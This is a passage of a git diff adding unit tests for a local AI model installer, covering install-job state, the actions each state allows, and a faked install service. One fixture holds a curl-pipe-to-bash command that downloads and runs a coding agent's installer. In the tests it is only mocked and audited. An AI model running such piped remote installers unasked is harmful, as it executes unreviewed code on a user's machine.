InstallJobEvent); + expect(next).not.toHaveProperty('replacedModelId'); + expect(next.model).toEqual(MODEL); + }); + + it('a model still waiting to be deleted is carried over a second replacement, unless it is the new choice', () => { + const paused: LocalModelStateFile = { ...SAMPLE.paused, replacedModelId: 'qwen3.8:27b' }; + // Same model again: the older leftover is still to be deleted. + expect(reduceInstallJob(paused, { ...EVENT.install, model: MODEL } as InstallJobEvent).replacedModelId).toBe( + 'qwen3.8:27b' + ); + // Going back to the leftover itself: it is the model that is wanted now. + const back = { ...EVENT.install, model: { id: 'qwen3.8:27b', label: 'Qwen3.8 27B', context: 131072 } }; + expect( + reduceInstallJob({ ...paused, model: { ...MODEL, id: 'qwen3.8:27b' } }, back as InstallJobEvent) + ).not.toHaveProperty('replacedModelId'); + }); + + it('refuses an install whose steps are not a job', () => { + const idle = SAMPLE.idle; + expect(reduceInstallJob(idle, { ...EVENT.install, steps: [] } as InstallJobEvent)).toBe(idle); + expect(reduceInstallJob(idle, { ...EVENT.install, steps: ['model', 'model'] } as InstallJobEvent)).toBe(idle); + expect(reduceInstallJob(idle, { ...EVENT.install, steps: ['reboot'] } as unknown as InstallJobEvent)).toBe(idle); + }); + + it('progress changes the progress and nothing else', () => { + const next = reduceInstallJob(SAMPLE.installing, EVENT.progress); + expect(next).toEqual({ + ...SAMPLE.installing, + progress: { completedBytes: 7_000_000_000, totalBytes: 23_105_798_956 }, + }); + }); + + it('refuses progress that is not two byte counts', () => { + for (const bad of [ + { completedBytes: -1, totalBytes: 10 }, + { completedBytes: 1.5, totalBytes: 10 }, + { completedBytes: Number.NaN, totalBytes: 10 }, + { completedBytes: 1, totalBytes: Number.POSITIVE_INFINITY }, + ]) { + expect(reduceInstallJob(SAMPLE.installing, { type: 'progress', ...bad })).toBe(SAMPLE.installing); + } + }); + + it('step-done moves to the next step of THIS job and clears the progress', () => { + const steps: LocalModelInstallStep[] = ['runtime', 'model', 'verify', 'connect']; + let state: LocalModelStateFile = { ...SAMPLE.installing, step: 'runtime', steps }; + const visited: (LocalModelInstallStep | undefined)[] = [state.step]; + for (let i = 0; i < 3; i++) { + state = reduceInstallJob(state, { type: 'step-done' }); + expect(state.state).toBe('installing'); + expect(state).not.toHaveProperty('progress'); + visited.push(state.step); + } + // The agent step is not part of this job, so it is never entered. + expect(visited).toEqual(steps); + }); + + it('the last step-done makes the job installed and keeps only what an installation has', () => { + const last: LocalModelStateFile = { + ...SAMPLE.installing, + step: 'connect', + model: { ...MODEL, pullBytes: 23_105_798_956, digest: 'abc123' }, + loaded: LOADED, + connection: CONNECTION, + }; + expect(reduceInstallJob(last, { type: 'step-done' })).toEqual(SAMPLE.installed); + }); + + it('refuses a step-done it cannot apply: a state without its step, a last step without a runtime', () => { + const noStep: LocalModelStateFile = { schema: 1, state: 'installing', steps: ALL_STEPS, model: MODEL, cli: CLI }; + expect(reduceInstallJob(noStep, { type: 'step-done' })).toBe(noStep); + const foreign: LocalModelStateFile = { ...SAMPLE.installing, step: 'agent', steps: ['runtime', 'model'] }; + expect(reduceInstallJob(foreign, { type: 'step-done' })).toBe(foreign); + const noRuntime: LocalModelStateFile = { + schema: 1, + state: 'installing', + step: 'connect', + steps: ALL_STEPS, + model: MODEL, + cli: CLI, + }; + expect(reduceInstallJob(noRuntime, { type: 'step-done' })).toBe(noRuntime); + }); + + it('fail keeps the step and the progress as they stood and stores the error', () => { + expect(reduceInstallJob(SAMPLE.installing, EVENT.fail)).toEqual({ + ...SAMPLE.installing, + state: 'failed', + error: { code: 'no-tool-call', vars: { model: 'Qwen3.6 35B-A3B' }, nextModelId: 'gpt-oss:20b' }, + }); + // An error without extras is just its code. + expect(reduceInstallJob(SAMPLE.installing, { type: 'fail', code: 'internal', vars: {} }).error).toEqual({ + code: 'internal', + }); + }); + + it('cancel pauses at the same step, with the progress as it stood', () => { + expect(reduceInstallJob(SAMPLE.installing, { type: 'cancel' })).toEqual(SAMPLE.paused); + }); + + it('resume re-enters the same step and clears the error', () => { + const next = reduceInstallJob(SAMPLE.failed, { type: 'resume' }); + expect(next).toEqual({ ...SAMPLE.installing }); + expect(next).not.toHaveProperty('error'); + expect(reduceInstallJob(SAMPLE.paused, { type: 'resume' }).step).toBe('model'); + }); + + it('remove drops everything, from every state that allows it', () => { + for (const state of ['idle', 'paused', 'failed', 'installed'] as const) { + expect(reduceInstallJob(SAMPLE[state], { type: 'remove' })).toEqual({ schema: 1, state: 'idle' }); + } + }); +}); + +describe('allowedActions', () => { + it('outside installed it is the state row, whatever is live', () => { + for (const state of ['idle', 'installing', 'paused', 'failed'] as const) { + expect(allowedActions(SAMPLE[state], { ...LIVE, running: true, gaveUp: true, portInUse: true })).toEqual([ + ...INSTALL_STATE_TABLE[state].actions, + ]); + } + expect(allowedActions(SAMPLE.idle, LIVE)).toEqual(['install']); + expect(allowedActions(SAMPLE.installing, LIVE)).toEqual(['cancel']); + expect(allowedActions(SAMPLE.paused, LIVE)).toEqual(['resume', 'install', 'remove']); + expect(allowedActions(SAMPLE.failed, LIVE)).toEqual(['resume', 'install', 'remove']); + }); + + it('installed and running: a session can be started and the runtime stopped', () => { + expect(allowedActions(SAMPLE.installed, { ...LIVE, running: true, digest: 'same' })).toEqual([ + 'start-session', + 'stop', + 'remove', + ]); + }); + + it('installed and stopped: it can be started, and no session is offered', () => { + expect(allowedActions(SAMPLE.installed, LIVE)).toEqual(['start', 'remove']); + }); + + it('installed and running a model that changed: no session', () => { + expect(allowedActions(SAMPLE.installed, { ...LIVE, running: true, digest: 'changed' })).toEqual(['stop', 'remove']); + }); + + it('a digest that could not be read does not hide the session button: the launch itself reads it again', () => { + expect(allowedActions(SAMPLE.installed, { ...LIVE, running: true, digest: 'unknown' })).toContain('start-session'); + expect(allowedActions(SAMPLE.installed, { ...LIVE, running: true })).toContain('start-session'); + }); + + it('never returns the table row itself', () => { + const actions = allowedActions(SAMPLE.idle, LIVE); + actions.push('remove'); + expect(INSTALL_STATE_TABLE.idle.actions).toEqual(['install']); + }); +}); + +describe('installedBlocker', () => { + it('is nothing outside installed, and nothing for a runtime the person stopped', () => { + for (const state of ['idle', 'installing', 'paused', 'failed'] as const) { + expect( + installedBlocker(SAMPLE[state], { ...LIVE, portInUse: true, gaveUp: true, digest: 'changed' }) + ).toBeUndefined(); + } + expect(installedBlocker(SAMPLE.installed, LIVE)).toBeUndefined(); + expect(installedBlocker(SAMPLE.installed, { ...LIVE, running: true, digest: 'same' })).toBeUndefined(); + }); + + it('another program on the port: the port, and "Use another port"', () => { + expect(installedBlocker(SAMPLE.installed, { ...LIVE, portInUse: true })).toEqual({ + code: 'port-in-use', + message: { text: 'Port {port} is in use by another program.', vars: { port: '11435' } }, + next: 'other-port', + }); + }); + + it('a runtime that keeps stopping: "Start"', () => { + expect(installedBlocker(SAMPLE.installed, { ...LIVE, gaveUp: true })).toEqual({ + code: 'runtime-stopped', + message: { text: 'The runtime keeps stopping, so Codeman no longer restarts it.' }, + next: 'start', + }); + }); + + it('a model that changed: "Remove"', () => { + expect(installedBlocker(SAMPLE.installed, { ...LIVE, running: true, digest: 'changed' })).toEqual({ + code: 'model-changed', + message: { text: 'The model on this Mac changed since it was installed. Remove it and install it again.' }, + next: 'remove', + }); + }); +}); + +describe('buildInstallView', () => { + it('idle: only what is always there, with the runtime download an install would add', () => { + expect(buildInstallView(SAMPLE.idle, { ...LIVE, developerTools: 'missing' })).toEqual({ + state: 'idle', + running: false, + developerTools: 'missing', + runtime: { + version: '0.40.15', + installed: false, + downloadBytes: 185_971_671, + downloadGb: '0.2', + unpackedGb: '0.6', + }, + folder: '/Users/me/.codeman/local-model', + actions: ['install'], + }); + }); + + it('once the runtime is unpacked an install downloads nothing for it', () => { + const view = buildInstallView(SAMPLE.idle, { ...LIVE, runtimeInstalled: true }); + expect(view.runtime).toEqual({ + version: '0.40.15', + installed: true, + downloadBytes: 0, + downloadGb: '0.0', + unpackedGb: '0.6', + }); + }); + + it('installing: the step, the steps, the choice, the port, and the download as the window prints it', () => { + const view = buildInstallView(SAMPLE.installing, { ...LIVE, running: true, bytesPerSecond: 58_000_000 }); + expect(view).toEqual({ + state: 'installing', + running: true, + developerTools: 'present', + runtime: { + version: '0.40.15', + installed: false, + downloadBytes: 185_971_671, + downloadGb: '0.2', + unpackedGb: '0.6', + }, + folder: '/Users/me/.codeman/local-model', + actions: ['cancel'], + model: { id: 'qwen3.6:35b-a3b', label: 'Qwen3.6 35B-A3B' }, + context: 131072, + cli: 'opencode', + cliLabel: 'OpenCode', + port: 11435, + step: 'model', + steps: ALL_STEPS, + progress: { + completedBytes: 6_200_000_000, + totalBytes: 23_105_798_956, + completedGb: '6.2', + totalGb: '23.1', + bytesPerSecond: 58_000_000, + mbPerSecond: '58', + // (23,105,798,956 - 6,200,000,000) / 58,000,000 = 291.5, rounded up. + secondsLeft: 292, + }, + }); + }); + + it('a speed is shown only while the job runs: a paused job has its bytes and no speed', () => { + const view = buildInstallView(SAMPLE.paused, { ...LIVE, bytesPerSecond: 58_000_000 }); + expect(view.progress).toEqual({ + completedBytes: 6_200_000_000, + totalBytes: 23_105_798_956, + completedGb: '6.2', + totalGb: '23.1', + }); + expect(view.actions).toEqual(['resume', 'install', 'remove']); + }); + + it('a speed of zero has no time left, and a download without a total has no progress at all', () => { + const stalled = buildInstallView(SAMPLE.installing, { ...LIVE, bytesPerSecond: 0 }); + expect(stalled.progress).toMatchObject({ bytesPerSecond: 0, mbPerSecond: '0' }); + expect(stalled.progress).not.toHaveProperty('secondsLeft'); + const noTotal = buildInstallView( + { ...SAMPLE.installing, progress: { completedBytes: 0, totalBytes: 0 } }, + { ...LIVE, bytesPerSecond: 5 } + ); + expect(noTotal).not.toHaveProperty('progress'); + }); + + it('a job before its port was chosen has no port', () => { + const { runtime: _runtime, ...early } = SAMPLE.installing; + expect(buildInstallView(early, LIVE)).not.toHaveProperty('port'); + }); + + it('failed: the sentence, its slots, the one next step, the model to try next, and the raw detail', () => { + const failed: LocalModelStateFile = { + ...SAMPLE.failed, + step: 'verify', + error: { + code: 'no-tool-call', + vars: { model: 'Qwen3.6 35B-A3B' }, + detail: 'finish_reason stop', + nextModelId: 'gpt-oss:20b', + }, + }; + const view = buildInstallView(failed, { + ...LIVE, + nextModel: { modelId: 'gpt-oss:20b', modelLabel: 'GPT-OSS 20B' }, + }); + expect(view.state).toBe('failed'); + expect(view.step).toBe('verify'); + expect(view.error).toEqual({ + code: 'no-tool-call', + message: { + text: '{model} loaded but did not call a tool, so a coding agent cannot work with it.', + vars: { model: 'Qwen3.6 35B-A3B' }, + }, + next: 'next-model', + nextModel: { modelId: 'gpt-oss:20b', modelLabel: 'GPT-OSS 20B' }, + detail: 'finish_reason stop', + }); + }); + + it('a next model is named only for an error whose next step is another model', () => { + const view = buildInstallView(SAMPLE.failed, { + ...LIVE, + nextModel: { modelId: 'gpt-oss:20b', modelLabel: 'GPT-OSS 20B' }, + }); + expect(view.error).toEqual({ + code: 'pull-failed', + message: { text: LOCAL_MODEL_INSTALL_LABELS.errPullFailed }, + next: 'retry', + detail: 'tls: bad record MAC', + }); + }); + + it('installed: the facts of the Done line, the endpoint a session starts on, and no step', () => { + const view = buildInstallView(SAMPLE.installed, { ...LIVE, running: true, runtimeInstalled: true, digest: 'same' }); + expect(view).toEqual({ + state: 'installed', + running: true, + developerTools: 'present', + runtime: { version: '0.40.15', installed: true, downloadBytes: 0, downloadGb: '0.0', unpackedGb: '0.6' }, + folder: '/Users/me/.codeman/local-model', + actions: ['start-session', 'stop', 'remove'], + model: { id: 'qwen3.6:35b-a3b', label: 'Qwen3.6 35B-A3B' }, + context: 131072, + cli: 'opencode', + cliLabel: 'OpenCode', + port: 11435, + loaded: { context: 131072, memoryBytes: 26_300_000_000, memoryGb: '26.3', onGpu: true }, + endpointId: 'local-ollama', + }); + }); + + it('installed: what blocks a session is on the view and the state stays installed', () => { + const view = buildInstallView(SAMPLE.installed, { ...LIVE, running: true, digest: 'changed' }); + expect(view.state).toBe('installed'); + expect(view.error?.code).toBe('model-changed'); + expect(view.actions).toEqual(['stop', 'remove']); + }); + + it('a model that was not all on the GPU says so', () => { + const view = buildInstallView( + { ...SAMPLE.installed, loaded: { ...LOADED, sizeVramBytes: 20_000_000_000 } }, + { ...LIVE, running: true } + ); + expect(view.loaded?.onGpu).toBe(false); + }); + + it('every sentence it sends is one of the install labels', () => { + const sentences = new Set(Object.values(LOCAL_MODEL_INSTALL_LABELS)); + for (const code of Object.keys(LOCAL_MODEL_ERROR_LABELS) as LocalModelErrorCode[]) { + const error = buildInstallError(code, { vars: { model: 'M' } }); + expect(sentences.has(error.message.text)).toBe(true); + expect(error.next).toBe(LOCAL_MODEL_ERROR_NEXT[code]); + } + }); +}); + +describe('formatInstallMessage', () => { + it('fills the slots of a sentence', () => { + expect(formatInstallMessage({ text: LOCAL_MODEL_INSTALL_LABELS.errPortInUse, vars: { port: '11435' } })).toBe( + 'Port 11435 is in use by another program.' + ); + expect( + formatInstallMessage({ + text: LOCAL_MODEL_INSTALL_LABELS.errContextNotApplied, + vars: { model: 'Qwen3.6 35B-A3B', actual: '32768', wanted: '131072' }, + }) + ).toBe('Qwen3.6 35B-A3B loaded with a context of 32768 tokens instead of 131072.'); + }); + + it('leaves a sentence without slots, and a slot without a value, as they are', () => { + expect(formatInstallMessage({ text: LOCAL_MODEL_INSTALL_LABELS.conflictJobRunning })).toBe( + 'An install is already running.' + ); + expect(formatInstallMessage({ text: LOCAL_MODEL_INSTALL_LABELS.errPortInUse })).toBe( + 'Port {port} is in use by another program.' + ); + // A slot name that is a member of every object is not a value. + expect(formatInstallMessage({ text: LOCAL_MODEL_INSTALL_LABELS.errPortInUse, vars: {} })).toContain('{port}'); + }); +}); diff --git a/test/local-model-install-service.test.ts b/test/local-model-install-service.test.ts new file mode 100644 index 00000000..67da16a7 --- /dev/null +++ b/test/local-model-install-service.test.ts @@ -0,0 +1,1899 @@ +/** + * @fileoverview The service that drives the local model install job + * (`createLocalModelService()` in src/local-model/install-job.ts). + * + * Every dependency is a fake: no runtime is downloaded or started, no model is pulled, no + * installer is run and no port is bound. The runtime modules are replaced through the + * service's own dependency object, so these tests pin what the JOB does with their answers, + * not what they answer. The state lives in memory and is passed through the real parser on + * every write, so a state the state file would not read back fails here. + * + * What is pinned: the whole job from the click to "installed"; one job at a time (409); the + * consent bound to the size shown (409); what is checked before anything is downloaded; + * Cancel in every step; Resume; a job a server restart interrupted comes back paused and + * waits for a click; every failure is a state with a code and a next step; the coding agent + * install (the stock command, the audit line, the resolver caches forgotten, still missing is + * a failure); the digest that refuses a changed model; the runtime verbs; Remove. + * + * Port: N/A (nothing listens). + */ +import { afterEach, describe, expect, it, vi } from 'vitest'; +import { mkdirSync, readFileSync, rmSync, writeFileSync } from 'node:fs'; +import { dirname } from 'node:path'; +import { getDataDir } from '../src/config/instance.js'; +import { customModelHostsPath, readCustomModelHosts, type CustomModelHost } from '../src/custom-model-hosts.js'; +import { connectLocalModel, disconnectLocalModel } from '../src/local-model/connect.js'; +import { + createLocalModelService, + type LocalModelActor, + type LocalModelService, + type LocalModelServiceDeps, +} from '../src/local-model/install-job.js'; +import type { PullOptions } from '../src/local-model/ollama-client.js'; +import type { LocalModelPaths } from '../src/local-model/paths.js'; +import { + OLLAMA_RUNTIME_PIN, + type RuntimeStartOptions, + type RuntimeStartResult, + type RuntimeStatus, +} from '../src/local-model/runtime.js'; +import { IDLE_LOCAL_MODEL_STATE, parseLocalModelState } from '../src/local-model/state-store.js'; +import { SETTINGS_PATH } from '../src/web/route-helpers.js'; +import { + LOCAL_MODEL_INSTALL_LABELS, + type Candidate, + type HardwareFacts, + type HarnessFact, + type LocalModelCatalog, + type LocalModelInstallRequest, + type LocalModelInstallStep, + type LocalModelStateFile, + type Recommendation, +} from '../src/types.js'; + +// ---------- Fixtures ---------- + +const DIGEST = '0ce5ff81f9ffdf89dd8192ca7b5d34cefd8996a875b3aaaaafaf5c4813569eba'; +const PULL_BYTES = 23_105_798_956; +const RUNTIME_BYTES = OLLAMA_RUNTIME_PIN.bytes; +const MEASURED = 40_157_944_217; +const INSTALL_COMMAND = 'curl -fsSL https://opencode.ai/install | bash'; +const ADMIN: LocalModelActor = { username: 'root', ip: '127.0.0.1' }; + +const MAC: HardwareFacts = { + platform: 'darwin', + arch: 'arm64', + arm64: true, + memBytes: 51539607552, + memGb: '51.5', + memClassGb: 48, + chip: 'Apple M5 Pro', + source: 'sysctl', +}; + +/** Only what the service reads of a catalogue: the harness rows and the models' ids and labels. */ +const CATALOG = { + schema: 1, + updated: '2026-11-06', + minMacosMajor: 14, + models: [ + { id: 'qwen3.6:35b-a3b', label: 'Qwen3.6 35B-A3B' }, + { id: 'gpt-oss:20b', label: 'GPT-OSS 20B' }, + { id: 'qwen3.5:9b', label: 'Qwen3.5 9B' }, + ], + harnesses: [ + { cli: 'opencode', minContext: 65536, rank: 3 }, + { cli: 'claude', minContext: 65536, rank: 2 }, + ], + chips: [], +} as unknown as LocalModelCatalog; + +const FACTS: HarnessFact[] = [ + { + cli: 'opencode', + label: 'OpenCode', + installed: false, + installable: true, + installCommand: INSTALL_COMMAND, + acceptsModelId: () => true, + }, +]; + +function candidate(modelId: string, modelLabel: string, context: number, bytes: number, installed: boolean): Candidate { + return { + modelId, + modelLabel, + license: 'Apache-2.0', + paramsB: 20, + context, + cli: 'opencode', + cliLabel: 'OpenCode', + cliInstalled: installed, + needBytes: 30_000_000_000, + needGb: '30.0', + downloadBytes: bytes, + downloadGb: '0.0', + budgetShare: 0.8, + fit: 'good', + fitLabel: 'Good', + speed: 'unknown', + tested: false, + harnesses: [ + { + cli: 'opencode', + cliLabel: 'OpenCode', + installed, + ...(installed ? {} : { installCommand: INSTALL_COMMAND }), + }, + ], + installBytes: bytes + RUNTIME_BYTES, + installGb: '0.0', + } as unknown as Candidate; +} + +function recommendation(agentInstalled = false): Recommendation { + return { + verdict: 'ok', + headline: { text: 'Best fit for this Mac' }, + notes: [], + pick: candidate('qwen3.6:35b-a3b', 'Qwen3.6 35B-A3B', 131072, PULL_BYTES, agentInstalled), + alternatives: [candidate('gpt-oss:20b', 'GPT-OSS 20B', 131072, 13_793_441_427, agentInstalled)], + budgetBytes: 37_580_963_840, + budgetGb: '37.6', + budgetSource: 'estimated', + } as unknown as Recommendation; +} + +const REQUEST: LocalModelInstallRequest = { + modelId: 'qwen3.6:35b-a3b', + cli: 'opencode', + context: 131072, + acknowledgedBytes: PULL_BYTES + RUNTIME_BYTES, +}; + +const PATHS: LocalModelPaths = { + root: '/data/local-model', + runtimeRoot: '/data/local-model/runtime', + runtimeDir: '/data/local-model/runtime/ollama-0.40.15', + binary: '/data/local-model/runtime/ollama-0.40.15/ollama', + archivePartial: '/data/local-model/runtime/ollama-0.40.15.tgz.partial', + unpackDir: '/data/local-model/runtime/ollama-0.40.15.unpack', + modelsDir: '/data/local-model/models', + homeDir: '/data/local-model/home', + stateFile: '/data/local-model.json', +}; + +const INSTALLED: LocalModelStateFile = { + schema: 1, + state: 'installed', + model: { id: 'qwen3.6:35b-a3b', label: 'Qwen3.6 35B-A3B', context: 131072, pullBytes: PULL_BYTES, digest: DIGEST }, + cli: { id: 'opencode', label: 'OpenCode' }, + runtime: { version: '0.40.15', port: 11435, pid: 4711, enabled: true, measuredTotalBytes: MEASURED }, + loaded: { context: 131072, sizeBytes: 26_300_000_000, sizeVramBytes: 26_300_000_000 }, + connection: { endpointId: 'local-ollama', flagWasEnabled: false }, +}; + +function jobAt(step: LocalModelInstallStep, state: 'installing' | 'paused' = 'installing'): LocalModelStateFile { + return { + schema: 1, + state, + step, + steps: ['runtime', 'model', 'verify', 'agent', 'connect'], + model: { id: 'qwen3.6:35b-a3b', label: 'Qwen3.6 35B-A3B', context: 131072 }, + cli: { id: 'opencode', label: 'OpenCode' }, + ...(step === 'runtime' ? {} : { runtime: { version: '0.40.15', port: 11435, pid: 5000, enabled: true } }), + }; +} + +// ---------- The harness ---------- + +/** The state file in memory. Every write goes through the real parser, like a write to disk and a read back. */ +function memoryStore(initial: LocalModelStateFile = IDLE_LOCAL_MODEL_STATE) { + let state = initial; + let chain: Promise = Promise.resolve(); + const history: LocalModelStateFile[] = []; + return { + get: () => state, + history, + readState: async () => state, + mutateState: (fn: (current: LocalModelStateFile) => LocalModelStateFile | undefined) => { + const run = chain.then(async () => { + const before = state; + const next = fn(before); + if (!next) return { before, after: undefined }; + state = parseLocalModelState(JSON.stringify(next)); + history.push(state); + return { before, after: state }; + }); + chain = run.catch(() => {}); + return run; + }, + }; +} + +/** Resolves when `signal` aborts. What a step in flight waits on in a Cancel test. */ +function untilAborted(signal?: AbortSignal): Promise { + return new Promise((resolve) => { + if (!signal || signal.aborted) return resolve(); + signal.addEventListener('abort', () => resolve(), { once: true }); + }); +} + +function setup( + options: { + state?: LocalModelStateFile; + agentInstalled?: boolean; + runtimeOnDisk?: boolean; + overrides?: Partial; + } = {} +) { + const store = memoryStore(options.state); + const world = { + agentInstalled: options.agentInstalled ?? false, + runtimeOnDisk: options.runtimeOnDisk ?? false, + clock: 1_000_000, + startResult: undefined as RuntimeStartResult | undefined, + measured: MEASURED as number | undefined, + running: false, + gaveUp: false, + pid: 5000, + }; + const calls: string[] = []; + + const supervisor = { + start: vi.fn(async (start: RuntimeStartOptions): Promise => { + calls.push('supervisor.start'); + if (world.startResult && !world.startResult.ok) { + world.running = false; + return world.startResult; + } + world.running = true; + return { + ok: true, + pid: world.pid, + port: start.port, + orphan: 'none', + ...(world.measured !== undefined ? { measuredTotalBytes: world.measured } : {}), + }; + }), + stop: vi.fn(async () => { + calls.push('supervisor.stop'); + world.running = false; + }), + status: (): RuntimeStatus => ({ running: world.running, restarts: 0, gaveUp: world.gaveUp }), + }; + + const deps = { + readHardware: vi.fn(async () => MAC), + getCatalog: vi.fn(() => CATALOG), + buildHarnessFacts: vi.fn(async () => FACTS), + recommend: vi.fn(() => recommendation(world.agentInstalled)), + modelFitsBudget: vi.fn(() => true), + isRuntimeInstalled: vi.fn(async () => world.runtimeOnDisk), + ensureRuntimeInstalled: vi.fn( + async (install?: { onProgress?: (p: { completedBytes: number; totalBytes: number }) => void }) => { + calls.push('ensureRuntimeInstalled'); + install?.onProgress?.({ completedBytes: RUNTIME_BYTES, totalBytes: RUNTIME_BYTES }); + world.runtimeOnDisk = true; + return { ok: true as const, binaryPath: PATHS.binary, alreadyInstalled: false }; + } + ), + chooseRuntimePort: vi.fn(async () => 11435 as number | undefined), + removeLocalModelFiles: vi.fn(async () => { + calls.push('removeLocalModelFiles'); + world.runtimeOnDisk = false; + }), + supervisor, + pullModel: vi.fn(async (_target: unknown, _id: string, pull?: { onProgress?: (p: unknown) => void }) => { + calls.push('pullModel'); + pull?.onProgress?.({ completedBytes: PULL_BYTES, totalBytes: PULL_BYTES, bytesPerSecond: 58_000_000 }); + return { ok: true as const, totalBytes: PULL_BYTES }; + }), + verifyModel: vi.fn(async () => { + calls.push('verifyModel'); + return { + ok: true as const, + loaded: { context: 131072, sizeBytes: 26_300_000_000, sizeVramBytes: 26_300_000_000 }, + }; + }), + readModelDigest: vi.fn(async () => DIGEST as string | undefined), + // The runtime lists what was pulled: the model of the job. + listOpenAiModels: vi.fn(async () => [store.get().model?.id ?? '']), + listRunning: vi.fn(async () => [ + { name: 'qwen3.6:35b-a3b', size: 26_300_000_000, sizeVram: 26_300_000_000, contextLength: 32768 }, + ]), + getRuntimeVersion: vi.fn(async () => '0.40.15' as string | undefined), + deleteModel: vi.fn(async () => { + calls.push('deleteModel'); + return true; + }), + checkDeveloperTools: vi.fn(async () => 'missing' as const), + stockInstallCommand: vi.fn((id: string) => (id === FACTS[0].cli ? INSTALL_COMMAND : undefined)), + tryBeginCliInstall: vi.fn((): (() => void) | null => () => { + calls.push('release'); + }), + runInstallCommand: vi.fn(async () => { + calls.push('runInstallCommand'); + world.agentInstalled = true; + return { code: 0 as number | null, output: 'opencode installed\n', timedOut: false, aborted: false }; + }), + recheckCliInstalled: vi.fn(async () => { + calls.push('recheckCliInstalled'); + return world.agentInstalled; + }), + audit: vi.fn(async () => {}), + connectLocalModel: vi.fn(async () => { + calls.push('connectLocalModel'); + return { ok: true as const, flagWasEnabled: false }; + }), + moveLocalEndpoint: vi.fn(async () => {}), + ensureLocalEndpoint: vi.fn(async () => false), + disconnectLocalModel: vi.fn(async () => { + calls.push('disconnectLocalModel'); + }), + isEndpointIdTaken: vi.fn(async () => false), + readState: store.readState, + mutateState: store.mutateState, + pin: OLLAMA_RUNTIME_PIN, + paths: PATHS, + now: () => world.clock, + ...options.overrides, + }; + + const service = createLocalModelService(deps as unknown as Partial); + return { service, store, world, deps, supervisor, calls }; +} + +/** Starts the job and waits for its end. */ +async function installAndWait(service: LocalModelService, request = REQUEST) { + const result = await service.install(request, ADMIN); + await service.idle(); + return result; +} + +afterEach(() => { + vi.restoreAllMocks(); +}); + +// ---------- The whole job ---------- + +describe('a job from the click to installed', () => { + it('runs the five steps in order and ends installed, with every fact a later start needs', async () => { + const { service, store, calls, deps } = setup(); + const started = await service.install(REQUEST, ADMIN); + // The verb answers once the job is started: the work goes on in the server. + expect(started.ok && started.view.state).toBe('installing'); + await service.idle(); + + expect(calls).toEqual([ + 'ensureRuntimeInstalled', + 'supervisor.start', + 'supervisor.start', + 'pullModel', + 'supervisor.start', + 'verifyModel', + 'recheckCliInstalled', + 'runInstallCommand', + 'release', + 'recheckCliInstalled', + 'supervisor.start', + 'connectLocalModel', + ]); + expect(store.get()).toMatchObject({ + schema: 1, + state: 'installed', + model: { + id: 'qwen3.6:35b-a3b', + label: 'Qwen3.6 35B-A3B', + context: 131072, + pullBytes: PULL_BYTES, + digest: DIGEST, + }, + cli: { id: 'opencode', label: 'OpenCode' }, + runtime: { version: '0.40.15', port: 11435, pid: 5000, enabled: true, measuredTotalBytes: MEASURED }, + loaded: { context: 131072, sizeBytes: 26_300_000_000, sizeVramBytes: 26_300_000_000 }, + connection: { endpointId: 'local-ollama', flagWasEnabled: false }, + }); + // A job's own members are gone once it is installed. + for (const key of ['step', 'steps', 'progress', 'error']) expect(store.get()).not.toHaveProperty(key); + + // The runtime was started on the chosen port with the chosen context, every time. + for (const [start] of deps.supervisor.start.mock.calls) { + expect(start).toMatchObject({ port: 11435, contextLength: 131072 }); + } + // The connection names the model as the runtime lists it, at the chosen context. + expect(deps.connectLocalModel).toHaveBeenCalledWith({ + port: 11435, + modelId: 'qwen3.6:35b-a3b', + context: 131072, + ours: false, + }); + }); + + it('walks the steps one at a time in the state file', async () => { + const { service, store } = setup(); + await installAndWait(service); + const steps = store.history.map((state) => `${state.state}:${state.step ?? '-'}`); + const order = steps.filter((entry, index) => entry !== steps[index - 1]); + expect(order).toEqual([ + 'installing:runtime', + 'installing:model', + 'installing:verify', + 'installing:agent', + 'installing:connect', + 'installed:-', + ]); + }); + + it('the view of the installed model: the Done facts, the endpoint, and a session can be started', async () => { + const { service } = setup(); + await installAndWait(service); + const view = await service.view(); + expect(view).toMatchObject({ + state: 'installed', + running: true, + developerTools: 'missing', + model: { id: 'qwen3.6:35b-a3b', label: 'Qwen3.6 35B-A3B' }, + cli: 'opencode', + cliLabel: 'OpenCode', + context: 131072, + port: 11435, + loaded: { context: 131072, memoryBytes: 26_300_000_000, memoryGb: '26.3', onGpu: true }, + endpointId: 'local-ollama', + actions: ['start-session', 'stop', 'remove'], + folder: '/data/local-model', + runtime: { version: '0.40.15', installed: true, downloadBytes: 0 }, + }); + expect(view).not.toHaveProperty('error'); + expect(await service.launchRefusal('local-ollama')).toBeUndefined(); + }); + + it('a coding agent that is installed is not part of the job: nothing is run for it', async () => { + const { service, store, deps } = setup({ agentInstalled: true }); + await installAndWait(service); + expect(store.get().state).toBe('installed'); + expect(store.history.some((state) => state.step === 'agent')).toBe(false); + expect(deps.runInstallCommand).not.toHaveBeenCalled(); + expect(deps.recheckCliInstalled).not.toHaveBeenCalled(); + }); + + it('judges the model against the MEASURED budget right after the runtime started, before the pull', async () => { + const { service, deps, calls } = setup(); + await installAndWait(service); + expect(deps.modelFitsBudget).toHaveBeenCalledTimes(1); + expect(deps.modelFitsBudget).toHaveBeenCalledWith(MAC, CATALOG, 'qwen3.6:35b-a3b', 131072, { + measuredTotalBytes: MEASURED, + runtimeDownloadBytes: 0, + }); + expect(deps.modelFitsBudget.mock.invocationCallOrder[0]).toBeLessThan(deps.pullModel.mock.invocationCallOrder[0]); + expect(calls.indexOf('pullModel')).toBeGreaterThan(0); + }); + + it('from then on the GET recommends with the measured budget and no runtime download', async () => { + const { service } = setup(); + expect(await service.recommendOptions()).toEqual({ runtimeDownloadBytes: RUNTIME_BYTES }); + await installAndWait(service); + expect(await service.recommendOptions()).toEqual({ measuredTotalBytes: MEASURED, runtimeDownloadBytes: 0 }); + }); + + it('every size shown for the model comes from the pull once it is known', async () => { + const pull = vi.fn(async () => ({ ok: true as const, totalBytes: 23_999_000_111 })); + const { service, store } = setup({ overrides: { pullModel: pull } }); + await installAndWait(service); + expect(store.get().model?.pullBytes).toBe(23_999_000_111); + }); + + it('writes an audit line for the install and one for the coding agent, with the literal command', async () => { + const { service, deps } = setup(); + await installAndWait(service); + expect(deps.audit).toHaveBeenCalledWith({ + admin: 'root', + action: 'local_model_install', + target: 'qwen3.6:35b-a3b', + ip: '127.0.0.1', + detail: { cli: 'opencode', context: 131072, bytes: PULL_BYTES + RUNTIME_BYTES }, + }); + expect(deps.audit).toHaveBeenCalledWith({ + admin: 'root', + action: 'cli_install', + target: 'opencode', + ip: '127.0.0.1', + detail: { command: INSTALL_COMMAND, exitCode: 0, timedOut: false, aborted: false, via: 'local-model' }, + }); + }); + + it('the port is chosen once: a job that already has one keeps 